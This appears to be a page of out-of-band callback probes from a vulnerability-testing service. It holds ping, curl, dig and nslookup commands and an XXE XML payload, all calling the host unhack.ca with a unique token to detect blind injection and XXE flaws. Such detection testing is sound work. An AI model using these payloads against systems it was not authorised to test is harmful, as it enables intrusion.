$ ping -c1 -p 00fe6f1701b0cc830f2391b6ba2d0f00 unhack.ca
 

$ curl http://unhack.ca/p/fe6f1701b0cc830f2391b6ba2d0f
 

$ dig fe6f1701b0cc830f2391b6ba2d0f @unhack.ca
 

$ dig fe6f1701b0cc830f2391b6ba2d0f.ns.unhack.ca
 

C:\> nslookup fe6f1701b0cc830f2391b6ba2d0f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fe6f1701b0cc830f2391b6ba2d0f">]>
    <foo>&xxe;</foo>